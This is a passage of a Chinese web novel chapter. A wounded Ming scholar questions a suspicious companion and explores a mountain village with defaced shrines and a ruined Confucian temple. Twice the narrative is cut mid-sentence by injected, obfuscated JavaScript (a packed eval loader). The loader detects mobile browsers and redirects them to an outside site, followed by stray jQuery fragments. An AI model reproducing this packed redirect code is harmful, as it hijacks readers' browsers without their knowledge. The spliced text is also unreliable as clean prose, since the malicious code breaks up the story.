我睁开眼睛,看见是颜崇光凑在一旁,不知道说什么好。
“我估摸着你也该到醒的时候了,今天特意回来的早一点,你要是再睡下去,我就得挖个坑给你丫埋了。”
颜崇光一边端起茶壶,倒了点水喝,一边嘴里骂骂咧咧的,说着京城人爱说的俚语。
“我知道你是有点怀疑我,但信我一回,现在真不能跟你说。”
听他这么说,还带着北方人的匪气,算是不打算跟我接着演那同乡游商的身份了。反正我看过的话本小说里,像什么杨家将、说岳全传,但凡奸细探子都这么打包票。
我抬起头,问道:
“你今天干嘛去了?”
颜崇光欲言又止,还是不想说。
“呵。”
我想了想,还是不好跟他多废话,赵主事说北虏在京城的暗桩到处都是,这本就不是我能决定的事,至少得保全自己,谁知道他救我回来想干些什么。
“小哑巴,你先出去。”
小哑巴本来趴在我床边,刚要起身,被我一把拽住了。
“什么小哑巴,能不能放尊重点?小朋友,你别听他胡吣。”
得,气的我也说话一股京城味儿了。小哑巴朝我点点头,又坐了回去。
这颜崇光被我说的噎住了,也不好发作,自己小声念到:
“行,反正也不会说话,听就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126565|180077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听吧。”
我瞪了他一眼,颜崇光没搭理我,接着说道:
“先跟你说说这两天发生了什么吧,你们遇袭的第二日,京城城门大开,那帮废物闯军能跑的都去西山里落草成了寇,北虏的军队没遇到抵抗就进了城。”
“他们打的是为崇祯皇帝复仇的旗号,目前城里倒是还太平,跟闯贼那会一样,贴了整肃军纪的告示,谁知道之后会怎么样。”
听他说的这话,我也没什么实感,因为闯贼入城时已经经历过一遍了。
“那商会的同乡们呢?他们怎么样?”
颜崇光想了想,组织了下语言,对我说道:
“那天秘密会议上的大员,还记得吧?早就和北虏通了气,达成了协议。我本想让你们结伴出发,这样也好有个照应,至少遭遇北虏兵的时候还能还手。”
他顿了顿,继续说道:
“当时碰见你们遇袭我就纳闷,我猜是那小书童篡改了我的口信,让你们分头行动吧,我还以为是赵主事下的命令。”
听他这么说,我也有疑问,首先摆在眼前的信息真真假假,我只能自己加以判断,再拿到眼前将他们排列组合出可能的线索链条。
“那大员是想?”
“谁知道,我知道的是,北虏入城那日,他应该是把满朝文武都骗了,因为这里面忠臣不多,但还是有的,至少不会像最后那样,贱到全跑到城门口去跪着迎接多尔衮进城。”
颜崇光说完,还不忘补上一句:
“那腚可是撅的老高,赶上被招安的宋江了。”
突然感觉一股滚烫的血流涌上脑门,这无耻老儿。
“我猜,应该是看上你们盐商商会的财产了吧?眼下北虏入关,争夺天下肯定缺乏银饷。所以说,你们盐商商会的银钱都藏哪儿了?”
呵,果然,说来说去还是说到那笔钱上了,颜崇光还是在努力套我的话。
“我一落第秀才,这事赵主事知道,我怎么可能知道?”
倒是没骗颜崇光,这种级别的秘密本来也不是我能知道的。
“那倒是,你一小秀才是不能知道。”
他说完话,屋里就陷入了安静,只剩下昏黄的油灯在桌子上亮着,一只硕大的飞蛾不停的往上面撞,弄的油灯忽闪忽闪,屋里忽明忽暗。俩人谁也没有再说话,那个小哑巴把脑袋埋进被子里,露出闪亮的眼睛盯着我,气氛很是尴尬。
“所以你这两天到底下山去干嘛了?”
我还是向他质问,既然他有自己的目的不打算现在动我性命,那我不如主动出击,问个透彻。
“我这.......你是真能问啊,我刚才跟你说了那么多,不就是我下山干的事情吗?不然我能给你描述那无耻老儿跪在城门前的场景,描述的那么绘声绘色?”
罢了,见他这么说,不管怎么问也问不出来个所以然,还是待我伤好了再说吧。
颜崇光见我半天没说话,朝我摆了摆手,说道:
“我看你还是好好养病吧,养的生龙活虎的时候自己就能下山看看,都不用问我,然后让北虏兵给你抓了,什么辣椒水老虎凳一块上就老实了。”
“不说了,早点睡觉,天也不早了,有事让这个小哑巴喊我,我睡东厢房。”
听他说小哑巴,我又瞪了他一眼,颜崇光掀起门帘,走了出去。
我看着趴在被子上的小哑巴,让他脱去衣服上炕睡觉。小孩年纪不大,但看起来也有十三四岁了,还没有学认字写字确实可惜,这种事是童子功,要是真还想参加科举,怕是连四书五经都背不住了。
想到这,我抬头透过窗户纸上的洞,看着外面天上的月亮,回忆起自己童年摇头晃脑的背着李白那首静夜思的场景。
小孩睡的快,转眼就听见睡着时那稍微有点沉重的鼻息,两条小腿时不时踢几脚被子,兴许是做着和小伙伴们在山间追跑打闹的梦。
我看着他的睡相,心想其实学点东西倒也不一定非得科举。大娘要是以后不在了,小哑巴还得独自面对世界,这手语不是人人都会,学会写字兴许还能和人笔谈,也算是多了一个与人世间沟通的渠道,免得有事都憋在心里。
听着小哑巴的呼吸声,突然涌来一阵久违的安全感,我也很快进入了梦乡。
7. 其七 海市蜃楼
俗话说,伤筋动骨一百天。
但我也算是小通医术,知道一直这么养着也不是办法,自然是明白久卧伤气的道理。我拜托住家的那个大娘去拿了几根竹条,在小哑巴的帮助下用布带绑住左侧胳膊,至少避免活动时让左肩的伤口再次迸裂了。
前几日,也只是在院中转转,顺便盯一盯住在东厢房的颜崇光行踪。但自从那天醒来,就再也没见他回来,眨眼已是半月有余。
农家住的合院自然没有大员的那个奢华,只是一进的小房。平时闲来无事,便在那本被我唤作《北行散记》的小册子上,写生些院落内的小景,作些小诗,也算是聊以慰藉。
那一日,趁着午后阴天,院子里凉快,我拿着册子正在葫芦架下画些小画。北方的葫芦与南方不同,有的甚至大如团扇。
这种葫芦,他们一般是食用,我也尝过了,现将菜谱录于笔记上,讲与诸公听:少许猪肉下锅爆香,借着热油放些八角,待香气溢出时,接着倒水,再放入切好的葫芦片一同炖煮。出锅前点几滴香油,少许米醋,倘若有白胡椒则更是绝品,只可惜山野乡村,自然是寻觅不得。
本小小腐儒将其称作“翡翠玉月汤”,月嘛,自然是通“肉”字。葫芦滋味比起冬瓜多了几分药香,尤其是葫芦瓤,柔软又有韧性,微苦回甘,夏天食来鲜美绝伦。
我在画画的时候,小哑巴同在一旁看着,每每画至精彩处时,也会发出“阿巴阿巴”的声音。我还教会了他研墨,虽然不比江东家里从小跟在一旁的书童那般伶俐,也算是有人陪着。
“别看这写意,虽是寥寥几笔,但只需画出神采即可。宋代名家苏轼曾说:论画以形似,见与儿童邻,这便是法贵天真。”
小哑巴虽然听不懂,但看得出他对绘画也有着浓烈的兴趣。
“待我伤愈,除了教你写字以外,闲暇时也可以学些绘画技巧。”
他听我这么说,高兴的点点头。
画完葫芦架,我把菜谱题在一旁,感慨难怪古人热衷闲云野鹤,倘若不是国破家亡时,就这么了却一生也未尝不可,雅!
随后又翻了一页,既然此时兴致正好,不如再画画这个山间小院。
工笔院体我一向画的不好,早年间随家父生意上的朋友,有幸得见吴门四家的沈周所作《庐山高图》,气势恢宏,笔意颇有宋代遗风,又得院体画之长。由此结缘,拜浙派的名师,学了几天笔墨丹青。
画至屋檐下的木雕时,可能是因为画技不佳,突然感觉一阵烦闷,竟想把这一页撕下,搁笔歇息了。
但忍了忍,继续描着木雕上的纹路,我突然感觉不对,起身走到房檐下细细查看。
虽然在京城时,没怎么注意过北方的木雕风格,只在那天大员家门口多看了几眼,但也大致明白南北工匠定有分别。我定睛一看,上面雕画的图样,竟与浙东、闽广一带的风格有所相近。
兴许是成祖皇帝迁都顺天时,自应天府带来的雕刻工匠?
不不不,断无可能,这木雕虽是风格相近,但也就是平凡民居水平,不可能是皇家手笔。
我将小册塞入怀中,又收起笔,对小哑巴说道:
“小朋友,近几日在院中憋的烦闷,想出去转转,可愿意与我同行?”
“阿巴阿巴!”
我刚一说完,看来他也陪我陪的厌烦,就从椅子上跳下来,带我出去。
因为时间正是午后,北方多有午睡习惯,所以街上空无一人,随着微风感觉心情很是愉悦。
这住家的院子在村口,按一般的规律,越靠外的搬来的越晚,像乡绅豪强通常都住在最中心,位置最好的地方,一直往里走兴许能有意外收获。有明一朝承袭前朝制度,村级单位的官员名为里长,如果能找到他就能知道更多了。
村口是一大片空地,兴许是平时集会或者摆摊的地方,中间还有一棵老槐树,看粗细至少也得二百余年。
颜崇光那天应该也正是在这棵树下深夜叫门的吧。
“小朋友,带我去平时人最多的地方转转吧。”
小哑巴很积极,绕过槐树就带着我往胡同口走去。
我跟在他的后面,余光却扫过一个形状奇怪的东西——
那棵粗大的老槐树中竟包裹着一座神龛!
诚如像我这样见多识广,或者是自认为见多识广的人,也没见过这等奇事。如果是藏在树洞之中,倒也能理解,南方的路边也时常有地藏佛像,像江东常见的五通神,商贾云集之地供些奇奇怪怪的塑像就更不奇怪了。但这棵老槐树如同双生,将神龛夹在中间,包裹其中,如果按刚才猜测的树龄,至少也是前朝蒙元时就在这里了。
况且那神龛的形制也是闻所未闻,它以一整块石头雕刻而成,上面倒是常见的歇山顶,可支起房顶两枚立柱我从未见过——那是两枚圆柱,柱头雕刻了不知是什么异兽,柱身则是多面开槽,风格与中原截然不同。
更令人讶异的是,神龛中间供的不知何方神圣,被人敲去了面容,是个无面神。只看砸出来的坑已经无法断代,断口和周围无异,那个黑洞洞的窟窿,多看一眼都感觉要被吸进去。
怪哉,怪哉。
不管怎么说,出门在外,遇庙烧香,见佛就拜。我朝它低了低头,跟着小哑巴继续向胡同深处走去。
“小朋友,你知道村头的那座神龛是什么来历吗?”
小哑巴朝我摇了摇头,又有点疑惑不解的看着我,我猜他应该早已司空见惯。
必须得早点教他写字笔谈了,我在心里想着。
村子深处倒是和京城的胡同差别没那么大,地上铺着坑坑洼洼的石板,只是街上留出来的距离更窄,再加上前日下雨,墙上路上遍布青苔,有点湿滑,不如叫做小巷。身为江东子弟,踏着碎步走在青苔石板上,甚至感觉这里更像南方。
小哑巴带着我在巷子里绕来绕去,越往深处,民居风格越与村子外围差异大。这边的门头很高,比起京城的合院,门要小不少。
联系到百年前蒙古瓦剌作乱,曾兵临京城下,加上西郊群山有通向宣化府镇的隘口,宣大重镇与瓦剌接壤,为九边之首,时常又有马队来往贸易,我猜测这也是躲避战乱的无奈之举吧。
我正想着,小哑巴突然停下了。
见他停下,我抬起头,眼前的这座宅院风格就更熟悉了,和先前那个无耻大员在西郊的宅邸相近,都是京城常见的风格。但也能看得出,这家至少近十来年左右重新修葺过,无论是墙砖还是大门上的垂花木雕,还是门口的上马石,都很新。
唯一奇怪的是,这家院墙一样很高,根本不知道里面是什么样。不过离远一点,越过高高的院墙,能看到里面有一座更高的塔楼,可以俯瞰整个村子。
看来这座山村更像军事重镇了。
这家也有不正常的地方,门边没有贴着春联,这么想来,村子里似乎哪家都没有贴春联。就在我细细查看木雕上的内容时,小哑巴过来拉了拉我的袖子,我随着他再往前走了走,才知道他想让我看的并不是这户豪宅。
往前又走了一户才知道,在两间房中间夹着一大片空地,由于入口处一样种着两棵大槐树,刚才走进来的时候完全没注意到。
那片空地的尽头矗立着一座破庙,房顶的横梁已经倒塌,杂草从掉下的破瓦之中生了出来。
“你......你的意思是这里平时人最多?”
我突然想到刚刚问小哑巴的话,顿感气氛诡异,明明是白天却凭空生起一阵寒气,镇的人手脚冰凉。但又怕被小哑巴看出来,只好把用竹片架着的左手按在胸前,捏着怀里的那支毛笔。
小哑巴朝我点点头,他示意我往前走几步。
“走......走了,然后呢?”
我不理解他的用意,随后他指了指我身后——
这一回头差点把我吓的跪在地上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126566|180077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
那槐树之中赫然立着两座同样的神龛!一样的被人凿去了面容!
“小......小朋友,我平日待你也不薄,你为什么要吓我,带我来这种地方?”
这下也不怕让他看出来了,我确实吓到了。
“阿巴阿巴!阿巴!”
那小哑巴做疑惑不解状,歪头看着我。
也是,明明是我让他带我进村的,只不过为什么这种地方会是人最多的地方?
我沉默着在原地站了一会,发现好像也无事发生,不如去看看那间破庙。
但因为刚才他让我回头看,已经不敢把后背漏在外面那侧了,我一边尴尬的笑着,一边侧着身子向破庙那边挪动,像极了中秋佳节从阳澄湖捞起放在竹篓里的大闸蟹。
走到破庙前面,我还不忘看了看入口那两棵大槐树。还好,因为读书多年眼神不太行,离远了眼前模糊,倒感觉那被凿去的脸像是又长了回来,和一般常见寺庙里的菩萨一样,正慈祥的朝着我笑。
我心一横,干脆钻进破庙里仔细查看。
这庙宇规格不低,是庑殿式屋顶,无论立柱还是内里的木雕都是典型的中原风格,要比那神龛感觉正派的多,令人心生中正祥和之气。我试着掀起因为年久失修塌下去的瓦片,又捡起一个树枝清扫掉被压在横梁下的那座神像身上的泥土,才发现这竟然还是一座文庙。
也就是说,这里供的是至圣先师。
至圣先师乃是历代皇帝敕封,无论如何,这座庙都不应该就这么荒废了,因为每年乡试时,十里八乡的士子都该来这里祭扫才对。
兴许是因为战乱科举停开?或者天灾所致?不管怎么说,都是这座山村的里长失责。我只能这么骗自己,人在紧张的时候就是这样。
罢了,儒生如今无力修葺此庙,我最后朝着至圣先师拜了几拜,准备转身回去。
离开破庙时,已是拨云见日。夏日午后的烈日透过厚密的槐树枝叶撒在地上,倒是一扫刚才那种诡异气息了。
我又回头瞥了一眼,这不看不要紧,一看——
温暖的阳光正照进破庙之中,它透过倒塌的横梁,照到了东倒西歪的窗棂上,在至圣先师脸上映照出了七彩的光芒,如同彩虹一般。
那窗棂上装的竟是明瓦!
牡蛎壳又或者别的什么贝类磨制的明瓦泛着贝母光泽,要比江东官宦之家所用的云母片更透亮,日光穿过时在地面投下鱼骨状的光栅——这分明就是浙东闽广一带海商的制法。
即便是这边的达官贵人使用明瓦的也不能算多,毕竟京城远离沿海一带,不管是工匠还是材料都是难寻。
于是我又走回去俯下身对着明瓦片仔细观察,那贝母磨制的极薄,质量上乘,如同漆器所用的螺钿一般,泛着五彩的珍珠光泽。我暗暗思索,看来这座山村并不简单,兴许颜崇光深夜带我上山也另有隐情,既然有这么多来自东南沿海的事物,恐怕与江东盐商也有关系。
但目前难以将这些线索联系到一起,事情的全局仍是迷雾重重。
我决定干脆撬下来几片,带走慢慢研究。
虽然那明瓦片在窗棂之中卡的很深,但这木头年久失修也已腐朽,很快就弄下来了。正当我将明瓦塞进怀中,准备喊小哑巴一同回去时,身后突然传来一个老人沙哑的声音:
“儒生!那个庙里的儒生!”
我被这突然一声叫喊吓了一跳,猛地抬头,狠狠的撞在了横梁上,险些晕倒。我捂着脑袋慢慢回头,头昏眼花之中,看到入口那棵槐树下站着一个身着藏青色襕衫,头戴黑色东坡冠,留着长长白胡子的老人,他看着气质仙风道骨,像是大儒一般,正抬手招呼着我过去。
自从上次颜崇光所述,盐商商会被朝廷大员所害,投奔了北虏之后,我对这些大人已是信任几无,但也还是走了过去,内心充满警惕。
“柳既白,柳先生,近日伤口养得可好?”